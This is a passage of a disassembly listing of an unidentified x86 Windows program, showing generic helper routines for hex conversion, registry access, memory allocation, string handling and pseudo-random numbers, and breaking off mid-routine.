loc_40C767: ; CODE XREF: sub_40C731+1Dj shr ebx, 1 mov edi, ebx push edi call sub_40D0BB pop ecx mov ecx, [esp+0Ch+arg_4] xor esi, esi test edi, edi mov [ecx], eax jbe short loc_40C797 mov eax, [esp+0Ch+arg_0] inc eax loc_40C783: ; CODE XREF: sub_40C731+64j mov dl, [eax-1] mov ebx, [ecx] shl dl, 4 or dl, [eax] mov [esi+ebx], dl inc esi inc eax inc eax cmp esi, edi jb short loc_40C783 loc_40C797: ; CODE XREF: sub_40C731+4Bj mov eax, edi loc_40C799: ; CODE XREF: sub_40C731+6Ej pop esi loc_40C79A: ; CODE XREF: sub_40C731+16j pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_40C79D: ; CODE XREF: sub_40C731+2Cj xor eax, eax jmp short loc_40C799 sub_40C731 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7A1 proc near ; CODE XREF: sub_4099EF+70p ; sub_40C965+1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] push esi lea esi, [ebx+ebx] lea eax, [esi+1] push edi push eax call sub_40D0BB and [ebp+arg_4], 0 test ebx, ebx pop ecx mov ecx, [ebp+arg_8] mov [ecx], eax mov edi, eax jbe short loc_40C7F5 loc_40C7C7: ; CODE XREF: sub_40C7A1+52j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] movzx eax, byte ptr [ecx+eax] push eax lea eax, [ebp+var_4] push offset a02x_0 ; "%02X" push eax call sub_40CE18 mov eax, [ebp+var_4] add esp, 0Ch mov [edi], al mov [edi+1], ah inc edi inc edi inc [ebp+arg_4] cmp [ebp+arg_4], ebx jb short loc_40C7C7 loc_40C7F5: ; CODE XREF: sub_40C7A1+24j mov eax, [ebp+arg_8] mov eax, [eax] mov byte ptr [esi+eax], 0 pop edi mov eax, esi pop esi pop ebx leave retn sub_40C7A1 endp ; =============== S U B R O U T I N E ======================================= sub_40C805 proc near ; DATA XREF: .rdata:off_41C1E0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] mov esi, ecx lea ecx, [esi+4] call sub_4012E7 push [esp+4+arg_4] lea ecx, [esi+8] call sub_4012E7 mov al, 1 pop esi retn 8 sub_40C805 endp ; =============== S U B R O U T I N E ======================================= sub_40C826 proc near ; DATA XREF: .rdata:0041C1ECo arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov edi, ds:dword_41805C mov esi, ecx push dword ptr [esi+4] push 0 push [esp+14h+arg_0] push dword ptr [esi+8] call edi mov ebx, [esp+0Ch+arg_4] mov [ebx], eax push dword ptr [esi+4] push 1 push [esp+14h+arg_0] push dword ptr [esi+8] call edi sub eax, [ebx] pop edi neg eax sbb eax, eax pop esi inc eax pop ebx retn 8 sub_40C826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C860 proc near ; DATA XREF: .rdata:0041C1F0o var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] lea eax, [ebp+var_10] push offset aD ; "%d" push eax mov esi, ecx call sub_40CE18 mov eax, [esi] add esp, 0Ch lea ecx, [ebp+var_10] push ecx push [ebp+arg_0] mov ecx, esi call dword ptr [eax+18h] mov al, 1 pop esi leave retn 8 sub_40C860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C892 proc near ; DATA XREF: .rdata:0041C1F4o var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 800h push esi push edi push dword ptr [ecx+4] lea eax, [ebp+var_800] push 800h push eax mov esi, offset dword_41BDD8 push esi push [ebp+arg_0] push dword ptr [ecx+8] call ds:dword_41806C mov edi, eax lea eax, [ebp+var_800] push esi push eax call sub_40CD44 test eax, eax pop ecx pop ecx jnz short loc_40C8D7 xor al, al jmp short loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C8D7: ; CODE XREF: sub_40C892+3Fj inc edi push edi call sub_40D0BB mov ecx, [ebp+arg_4] mov [ecx], eax lea ecx, [ebp+var_800] push ecx push eax call sub_40CD8E add esp, 0Ch mov al, 1 loc_40C8F5: ; CODE XREF: sub_40C892+43j pop edi pop esi leave retn 8 sub_40C892 endp ; =============== S U B R O U T I N E ======================================= sub_40C8FB proc near ; DATA XREF: .rdata:0041C1F8o arg_0 = dword ptr 4 arg_4 = dword ptr 8 push dword ptr [ecx+4] push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [ecx+8] call ds:dword_418068 neg eax sbb eax, eax neg eax retn 8 sub_40C8FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C918 proc near ; DATA XREF: .rdata:0041C1FCo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx lea ecx, [ebp+var_4] call sub_40DB48 mov eax, [esi] lea ecx, [ebp+var_4] push ecx push [ebp+arg_0] mov ecx, esi call dword ptr [eax+14h] test al, al jnz short loc_40C94C xor bl, bl loc_40C93C: ; CODE XREF: sub_40C918+4Bj lea ecx, [ebp+var_4] call sub_40DB59 pop esi mov al, bl pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40C94C: ; CODE XREF: sub_40C918+20j push [ebp+arg_4] push [ebp+var_4] call sub_40C731 pop ecx pop ecx mov ecx, [ebp+arg_8] test eax, eax mov [ecx], eax setnbe bl jmp short loc_40C93C sub_40C918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C965 proc near ; DATA XREF: .rdata:0041C200o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi mov esi, ecx lea ecx, [ebp+var_4] call sub_40DB48 lea eax, [ebp+var_4] push eax push [ebp+arg_8] push [ebp+arg_4] call sub_40C7A1 mov eax, [esi] add esp, 0Ch push [ebp+var_4] mov ecx, esi push [ebp+arg_0] call dword ptr [eax+18h] lea ecx, [ebp+var_4] mov bl, al call sub_40DB59 pop esi mov al, bl pop ebx leave retn 0Ch sub_40C965 endp ; =============== S U B R O U T I N E ======================================= sub_40C9A6 proc near ; CODE XREF: sub_402FCB+6Fp push esi mov esi, ecx lea ecx, [esi+4] mov dword ptr [esi], offset off_41C1E0 call sub_40DB48 lea ecx, [esi+8] call sub_40DB48 mov eax, esi pop esi retn sub_40C9A6 endp ; =============== S U B R O U T I N E ======================================= sub_40C9C3 proc near ; CODE XREF: sub_40C9DD+7p push esi mov esi, ecx lea ecx, [esi+8] mov dword ptr [esi], offset off_41C1E0 call sub_40DB59 lea ecx, [esi+4] pop esi jmp sub_40DB59 sub_40C9C3 endp ; =============== S U B R O U T I N E ======================================= sub_40C9DD proc near ; DATA XREF: .rdata:0041C1E8o push esi mov esi, ecx test esi, esi jz short loc_40C9F0 call sub_40C9C3 push esi call sub_40D0B6 pop ecx loc_40C9F0: ; CODE XREF: sub_40C9DD+5j pop esi retn sub_40C9DD endp ; =============== S U B R O U T I N E ======================================= sub_40C9F2 proc near ; CODE XREF: sub_4080EA+1ACp ; sub_4080EA+205p arg_0 = dword ptr 4 push 4 push 3000h push [esp+8+arg_0] push 0 call ds:dword_418058 retn sub_40C9F2 endp ; =============== S U B R O U T I N E ======================================= sub_40CA06 proc near ; CODE XREF: sub_4080EA+21Bp ; sub_4080EA+256p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call ds:dword_418054 retn sub_40CA06 endp ; =============== S U B R O U T I N E ======================================= sub_40CA18 proc near ; CODE XREF: sub_4013D5+22p ; sub_401420+2Ep ... arg_0 = dword ptr 4 call ds:dword_41809C push [esp+arg_0] push 8 push eax call ds:dword_418050 retn sub_40CA18 endp ; =============== S U B R O U T I N E ======================================= sub_40CA2C proc near ; CODE XREF: sub_402172+1Ap ; sub_402B61+25p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] imul esi, [esp+4+arg_4] push edi push esi call sub_40CA18 mov edi, eax test edi, edi pop ecx jz short loc_40CA50 push esi push 0 push edi call sub_40CCD9 add esp, 0Ch loc_40CA50: ; CODE XREF: sub_40CA2C+16j mov eax, edi pop edi pop esi retn sub_40CA2C endp ; =============== S U B R O U T I N E ======================================= sub_40CA55 proc near ; CODE XREF: sub_402B61+1Bp ; sub_403E3F+15p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 call ds:dword_41809C push [esp+arg_4] push [esp+4+arg_0] push 8 push eax call ds:dword_418048 retn sub_40CA55 endp ; =============== S U B R O U T I N E ======================================= sub_40CA6D proc near ; CODE XREF: sub_4074FB+1A6p ; sub_4074FB+1C6p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] test edi, edi jnz short loc_40CA7A xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_40CA7A: ; CODE XREF: sub_40CA6D+7j push esi push edi call sub_40CD83 inc eax push eax call sub_40CA18 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40CA99 push edi push esi call sub_40CD8E pop ecx pop ecx loc_40CA99: ; CODE XREF: sub_40CA6D+21j mov eax, esi pop esi pop edi retn sub_40CA6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA9E proc near ; DATA XREF: .rdata:off_41C204o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ecx+4] lea edx, [ebp+arg_4] push edx push eax xor ecx, ecx push ecx push 0F003Fh push ecx push offset dword_41BDD8 push ecx push [ebp+arg_4] mov [eax], ecx push [ebp+arg_0] call ds:dword_418004 neg eax sbb eax, eax inc eax pop ebp retn 8 sub_40CA9E endp ; =============== S U B R O U T I N E ======================================= sub_40CACF proc near ; CODE XREF: sub_40CC4E+9p ; DATA XREF: .rdata:0041C208o push esi mov esi, ecx mov eax, [esi+4] test eax, eax jz short loc_40CAE4 push eax call ds:dword_418010 and dword ptr [esi+4], 0 loc_40CAE4: ; CODE XREF: sub_40CACF+8j pop esi retn sub_40CACF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAE6 proc near ; DATA XREF: .rdata:0041C210o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push 4 pop eax mov [ebp+var_8], eax mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push [ebp+arg_4] lea eax, [ebp+var_8] push eax push 0 push [ebp+arg_0] push dword ptr [ecx+4] call ds:dword_418000 neg eax sbb eax, eax inc eax leave retn 8 sub_40CAE6 endp ; =============== S U B R O U T I N E ======================================= sub_40CB16 proc near ; DATA XREF: .rdata:0041C214o arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 4 lea eax, [esp+4+arg_4] push eax push 4 push 0 push [esp+10h+arg_0] push dword ptr [ecx+4] call ds:dword_418014 neg eax sbb eax, eax inc eax retn 8 sub_40CB16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB36 proc near ; DATA XREF: .rdata:0041C218o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 push esi mov esi, ds:dword_418000 push edi lea eax, [ebp+var_4] push eax push 0 lea eax, [ebp+var_8] push eax push 0 push [ebp+arg_0] mov edi, ecx push dword ptr [edi+4] mov [ebp+var_8], 1 call esi test eax, eax jz short loc_40CB6C xor al, al jmp short loc_40CB92 ; --------------------------------------------------------------------------- loc_40CB6C: ; CODE XREF: sub_40CB36+30j push [ebp+var_4] call sub_40D0BB pop ecx mov ecx, [ebp+arg_4] mov [ecx], eax lea ecx, [ebp+var_4] push ecx push eax lea eax, [ebp+var_8] push eax push 0 push [ebp+arg_0] push dword ptr [edi+4] call esi neg eax sbb eax, eax inc eax loc_40CB92: ; CODE XREF: sub_40CB36+34j pop edi pop esi leave retn 8 sub_40CB36 endp ; =============== S U B R O U T I N E ======================================= sub_40CB98 proc near ; DATA XREF: .rdata:0041C21Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] mov esi, ecx call sub_40CD83 pop ecx inc eax push eax push [esp+8+arg_4] push 1 push 0 push [esp+14h+arg_0] push dword ptr [esi+4] call ds:dword_418014 neg eax sbb eax, eax inc eax pop esi retn 8 sub_40CB98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBC5 proc near ; DATA XREF: .rdata:0041C220o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_8] push esi mov esi, ds:dword_418000 push edi push ebx push 0 lea eax, [ebp+var_4] push eax push 0 push [ebp+arg_0] mov edi, ecx push dword ptr [edi+4] mov [ebp+var_4], 3 call esi test eax, eax jz short loc_40CBF7 xor al, al jmp short loc_40CC19 ; --------------------------------------------------------------------------- loc_40CBF7: ; CODE XREF: sub_40CBC5+2Cj push dword ptr [ebx] call sub_40D0BB pop ecx mov ecx, [ebp+arg_4] push ebx push eax mov [ecx], eax lea eax, [ebp+var_4] push eax push 0 push [ebp+arg_0] push dword ptr [edi+4] call esi neg eax sbb eax, eax inc eax loc_40CC19: ; CODE XREF: sub_40CBC5+30j pop edi pop esi pop ebx leave retn 0Ch sub_40CBC5 endp ; =============== S U B R O U T I N E ======================================= sub_40CC20 proc near ; DATA XREF: .rdata:0041C224o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] push [esp+4+arg_4] push 3 push 0 push [esp+10h+arg_0] push dword ptr [ecx+4] call ds:dword_418014 neg eax sbb eax, eax inc eax retn 0Ch sub_40CC20 endp ; =============== S U B R O U T I N E ======================================= sub_40CC41 proc near ; CODE XREF: sub_402FCB+45p mov eax, ecx and dword ptr [eax+4], 0 mov dword ptr [eax], offset off_41C204 retn sub_40CC41 endp ; =============== S U B R O U T I N E ======================================= sub_40CC4E proc near ; CODE XREF: sub_40CC70+6p arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41C204 call sub_40CACF test [esp+4+arg_0], 1 jz short loc_40CC6A push esi call sub_40D0B6 pop ecx loc_40CC6A: ; CODE XREF: sub_40CC4E+13j mov eax, esi pop esi retn 4 sub_40CC4E endp ; =============== S U B R O U T I N E ======================================= sub_40CC70 proc near ; DATA XREF: .rdata:0041C20Co test ecx, ecx jz short locret_40CC7B push 1 call sub_40CC4E locret_40CC7B: ; CODE XREF: sub_40CC70+2j retn sub_40CC70 endp ; =============== S U B R O U T I N E ======================================= sub_40CC7C proc near ; DATA XREF: .rdata:off_418220o ; .rdata:off_41BDCCo ... xor eax, eax retn sub_40CC7C endp ; =============== S U B R O U T I N E ======================================= sub_40CC7F proc near ; CODE XREF: sub_41302F+Ap ; sub_41344D+1DDp ... arg_0 = dword ptr 4 call ds:dword_41809C push [esp+arg_0] push 0 push eax call ds:dword_418050 retn sub_40CC7F endp ; =============== S U B R O U T I N E ======================================= sub_40CC93 proc near ; CODE XREF: sub_40D0BB+6p ; sub_41430E+30p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 call ds:dword_41809C mov ecx, [esp+arg_0] imul ecx, [esp+arg_4] push ecx push 8 push eax call ds:dword_418050 retn sub_40CC93 endp ; =============== S U B R O U T I N E ======================================= sub_40CCAD proc near ; CODE XREF: sub_41344D+16Cp ; sub_41493D+65p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 call ds:dword_41809C push [esp+arg_4] push [esp+4+arg_0] push 0 push eax call ds:dword_418048 retn sub_40CCAD endp ; =============== S U B R O U T I N E ======================================= sub_40CCC5 proc near ; CODE XREF: sub_401420+A3p ; sub_401420+ABp ... arg_0 = dword ptr 4 call ds:dword_41809C push [esp+arg_0] push 0 push eax call ds:dword_418044 retn sub_40CCC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCD9 proc near ; CODE XREF: sub_401C2F+18p ; sub_401CDC+18p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_40CCF2 loc_40CCE2: ; CODE XREF: sub_40CCD9+17j mov ecx, [ebp+arg_0] mov al, [ebp+arg_4] inc [ebp+arg_0] dec [ebp+arg_8] mov [ecx], al jnz short loc_40CCE2 loc_40CCF2: ; CODE XREF: sub_40CCD9+7j mov eax, [ebp+arg_0] pop ebp retn sub_40CCD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCF7 proc near ; CODE XREF: sub_402B31+1Ap ; sub_402B61+3Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jz short loc_40CD13 mov eax, [ebp+arg_4] loc_40CD03: ; CODE XREF: sub_40CCF7+1Aj mov cl, [eax] mov edx, [ebp+arg_0] inc eax inc [ebp+arg_0] dec [ebp+arg_8] mov [edx], cl jnz short loc_40CD03 loc_40CD13: ; CODE XREF: sub_40CCF7+7j mov eax, [ebp+arg_0] pop ebp retn sub_40CCF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD18 proc near ; CODE XREF: sub_409CF6+2Fp ; sub_409EAD+Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_40CD25 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_40CD25: ; CODE XREF: sub_40CD18+7j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] loc_40CD2B: ; CODE XREF: sub_40CD18+20j dec [ebp+arg_8] jz short loc_40CD3A mov dl, [eax] cmp dl, [ecx] jnz short loc_40CD3A inc eax inc ecx jmp short loc_40CD2B ; --------------------------------------------------------------------------- loc_40CD3A: ; CODE XREF: sub_40CD18+16j ; sub_40CD18+1Cj movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] sub eax, ecx pop ebp retn sub_40CD18 endp ; =============== S U B R O U T I N E ======================================= sub_40CD44 proc near ; CODE XREF: sub_401ABD+6p ; sub_402624+426p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call ds:dword_418088 retn sub_40CD44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD53 proc near ; CODE XREF: sub_413720+A1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_40CD60 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_40CD60: ; CODE XREF: sub_40CD53+7j mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] loc_40CD66: ; CODE XREF: sub_40CD53+24j dec [ebp+arg_8] jz short loc_40CD79 mov al, [ecx] test al, al jz short loc_40CD79 cmp al, [edx] jnz short loc_40CD79 inc ecx inc edx jmp short loc_40CD66 ; --------------------------------------------------------------------------- loc_40CD79: ; CODE XREF: sub_40CD53+16j ; sub_40CD53+1Cj ... movzx eax, byte ptr [ecx] movzx ecx, byte ptr [edx] sub eax, ecx pop ebp retn sub_40CD53 endp ; =============== S U B R O U T I N E ======================================= sub_40CD83 proc near ; CODE XREF: sub_401918+76p ; sub_401918+90p ... arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_41811C retn sub_40CD83 endp ; =============== S U B R O U T I N E ======================================= sub_40CD8E proc near ; CODE XREF: sub_401918+89p ; sub_401918+A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call ds:dword_4180B4 retn sub_40CD8E endp ; =============== S U B R O U T I N E ======================================= sub_40CD9D proc near ; CODE XREF: sub_407DE3+DFp ; sub_407DE3+F1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push esi mov esi, [esp+4+arg_8] test esi, esi push edi mov edi, ecx jz short loc_40CDD1 mov edx, [esp+8+arg_4] loc_40CDB1: ; CODE XREF: sub_40CD9D+1Fj mov al, [edx] mov [ecx], al inc ecx inc edx test al, al jz short loc_40CDBE dec esi jnz short loc_40CDB1 loc_40CDBE: ; CODE XREF: sub_40CD9D+1Cj test esi, esi jz short loc_40CDD1 dec esi jz short loc_40CDD1 push esi push 0 push ecx call sub_40CCD9 add esp, 0Ch loc_40CDD1: ; CODE XREF: sub_40CD9D+Ej ; sub_40CD9D+23j ... mov eax, edi pop edi pop esi retn sub_40CD9D endp ; =============== S U B R O U T I N E ======================================= sub_40CDD6 proc near ; CODE XREF: sub_4080EA+61p ; sub_4080EA+7Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call ds:dword_418080 retn sub_40CDD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDE5 proc near ; CODE XREF: sub_40DBA2+47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, edx loc_40CDED: ; CODE XREF: sub_40CDE5+Dj mov cl, [edx] inc edx test cl, cl jnz short loc_40CDED dec edx cmp [ebp+arg_8], 0 push esi jz short loc_40CE12 mov esi, [ebp+arg_4] loc_40CDFF: ; CODE XREF: sub_40CDE5+2Bj mov cl, [esi] dec [ebp+arg_8] mov [edx], cl inc edx inc esi test cl, cl jz short loc_40CE15 cmp [ebp+arg_8], 0 jnz short loc_40CDFF loc_40CE12: ; CODE XREF: sub_40CDE5+15j mov byte ptr [edx], 0 loc_40CE15: ; CODE XREF: sub_40CDE5+25j pop esi pop ebp retn sub_40CDE5 endp ; =============== S U B R O U T I N E ======================================= sub_40CE18 proc near ; CODE XREF: sub_403539+8Fp ; sub_4074FB+7CBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch lea eax, [esp+arg_8] push eax push [esp+4+arg_4] push [esp+8+arg_0] call ds:dword_418158 retn sub_40CE18 endp ; =============== S U B R O U T I N E ======================================= sub_40CE2C proc near ; CODE XREF: sub_4074FB+83Ap ; sub_4155DF+83p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 0FFFFFFD0h push 9 pop ecx cmp ecx, eax sbb eax, eax inc eax retn sub_40CE2C endp ; =============== S U B R O U T I N E ======================================= sub_40CE3C proc near ; CODE XREF: sub_407288+3Bp ; sub_407288+53p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 41h jl short loc_40CE4A cmp eax, 5Ah jle short loc_40CE52 loc_40CE4A: ; CODE XREF: sub_40CE3C+7j add eax, 0FFFFFF9Fh cmp eax, 19h ja short loc_40CE56 loc_40CE52: ; CODE XREF: sub_40CE3C+Cj xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40CE56: ; CODE XREF: sub_40CE3C+14j xor eax, eax retn sub_40CE3C endp ; =============== S U B R O U T I N E ======================================= sub_40CE59 proc near ; CODE XREF: sub_4013D5+38p ; sub_401420+94p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax push esi loc_40CE60: ; CODE XREF: sub_40CE59+1Aj movsx ecx, byte ptr [edx] lea esi, [ecx-30h] cmp esi, 9 ja short loc_40CE75 imul eax, 0Ah lea eax, [eax+ecx-30h] inc edx jmp short loc_40CE60 ; --------------------------------------------------------------------------- loc_40CE75: ; CODE XREF: sub_40CE59+10j pop esi retn sub_40CE59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE77 proc near ; CODE XREF: sub_405675+14Ap ; sub_406BE5+D0p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi mov esi, [ebp+arg_4] cmp byte ptr [esi], 0 mov [ebp+arg_0], eax jz short loc_40CEC5 mov dl, [eax] test dl, dl push edi jz short loc_40CEC2 sub eax, esi loc_40CE92: ; CODE XREF: sub_40CE77+49j test dl, dl mov ecx, esi jz short loc_40CEB0 loc_40CE98: ; CODE XREF: sub_40CE77+37j mov dl, [ecx] test dl, dl jz short loc_40CEC8 movsx edi, byte ptr [eax+ecx] movsx edx, dl sub edi, edx jnz short loc_40CEB0 inc ecx cmp byte ptr [eax+ecx], 0 jnz short loc_40CE98 loc_40CEB0: ; CODE XREF: sub_40CE77+1Fj ; sub_40CE77+30j cmp byte ptr [ecx], 0 jz short loc_40CEC8 inc [ebp+arg_0] mov ecx, [ebp+arg_0] mov dl, [ecx] inc eax test dl, dl jnz short loc_40CE92 loc_40CEC2: ; CODE XREF: sub_40CE77+17j xor eax, eax loc_40CEC4: ; CODE XREF: sub_40CE77+54j pop edi loc_40CEC5: ; CODE XREF: sub_40CE77+10j pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40CEC8: ; CODE XREF: sub_40CE77+25j ; sub_40CE77+3Cj mov eax, [ebp+arg_0] jmp short loc_40CEC4 sub_40CE77 endp ; =============== S U B R O U T I N E ======================================= sub_40CECD proc near ; CODE XREF: sub_4038BB+49p ; sub_4074FB+136p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] cmp byte ptr [eax], 0 jz short loc_40CEE3 loc_40CED6: ; CODE XREF: sub_40CECD+14j inc eax mov cl, [eax] cmp cl, [esp+arg_4] jz short locret_40CEE5 test cl, cl jnz short loc_40CED6 loc_40CEE3: ; CODE XREF: sub_40CECD+7j xor eax, eax locret_40CEE5: ; CODE XREF: sub_40CECD+10j retn sub_40CECD endp ; =============== S U B R O U T I N E ======================================= sub_40CEE6 proc near ; CODE XREF: sub_4038BB+1Dp ; sub_4086E0+6p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi mov esi, [esp+4+arg_0] push esi call ds:dword_41811C test eax, eax jnz short loc_40CF03 loc_40CEF6: ; CODE XREF: sub_40CEE6+20j xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40CEFA: ; CODE XREF: sub_40CEE6+1Ej mov cl, [eax+esi] cmp cl, [esp+4+arg_4] jz short loc_40CF08 loc_40CF03: ; CODE XREF: sub_40CEE6+Ej dec eax jns short loc_40CEFA jmp short loc_40CEF6 ; --------------------------------------------------------------------------- loc_40CF08: ; CODE XREF: sub_40CEE6+1Bj add eax, esi pop esi retn sub_40CEE6 endp ; =============== S U B R O U T I N E ======================================= sub_40CF0C proc near ; CODE XREF: sub_409170+115p ; sub_409170+125p ... arg_0 = byte ptr 4 lea eax, [esp+arg_0] push eax call ds:dword_418150 movsx eax, byte ptr [eax] retn sub_40CF0C endp ; =============== S U B R O U T I N E ======================================= sub_40CF1B proc near ; CODE XREF: sub_40C69B+24p arg_0 = byte ptr 4 lea eax, [esp+arg_0] push eax call ds:dword_418154 movsx eax, byte ptr [eax] retn sub_40CF1B endp ; =============== S U B R O U T I N E ======================================= sub_40CF2A proc near ; CODE XREF: sub_402624+106p ; sub_402EBB+3Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_421D10, eax retn sub_40CF2A endp ; =============== S U B R O U T I N E ======================================= sub_40CF34 proc near ; CODE XREF: sub_402624+116p ; sub_402624+124p ... mov eax, dword_421D10 imul eax, 19660Dh add eax, 3C6EF35Fh xor edx, edx mov ecx, 7FFFh div ecx mov eax, edx mov dword_421D10, eax retn sub_40CF34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40CF55(double) sub_40CF55 proc near ; CODE XREF: sub_40746D+1Dp ; sub_40746D+54p arg_0 = qword ptr 8 push ebp mov ebp, esp fldz fld st fld [ebp+arg_0] fucom st(1) fnstsw ax fstp st(1) test ah, 44h jnp short loc_40CF97 fld st fistp [ebp+arg_0] mov ecx, dword ptr [ebp+arg_0] mov dword ptr [ebp+arg_0+4], ecx fild dword ptr [ebp+arg_0+4] fld st(1) fdivrp st(1), st fucomp st(2) fnstsw ax test ah, 44h jnp short loc_40CF97 fcompp st(1), st fnstsw ax test ah, 5 jp short loc_40CF8F dec ecx loc_40CF8F: ; CODE XREF: sub_40CF55+37j mov dword ptr [ebp+arg_0+4], ecx fild dword ptr [ebp+arg_0+4] pop ebp retn ; --------------------------------------------------------------------------- loc_40CF97: ; CODE XREF: sub_40CF55+13j ; sub_40CF55+2Ej fstp st(1) pop ebp retn sub_40CF55 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40CF9B(double) sub_40CF9B proc near ; CODE XREF: sub_40746D+Fp var_8 = qword ptr -8 arg_0 = qword ptr 4 push ecx push ecx fldlg2 fld [esp+8+arg_0] fyl2x fstp [esp+8+var_8] fld [esp+8+var_8] pop ecx pop ecx retn sub_40CF9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFAE proc near ; CODE XREF: sub_402624+100p ; sub_402EBB+34p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call ds:dword_418040 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc 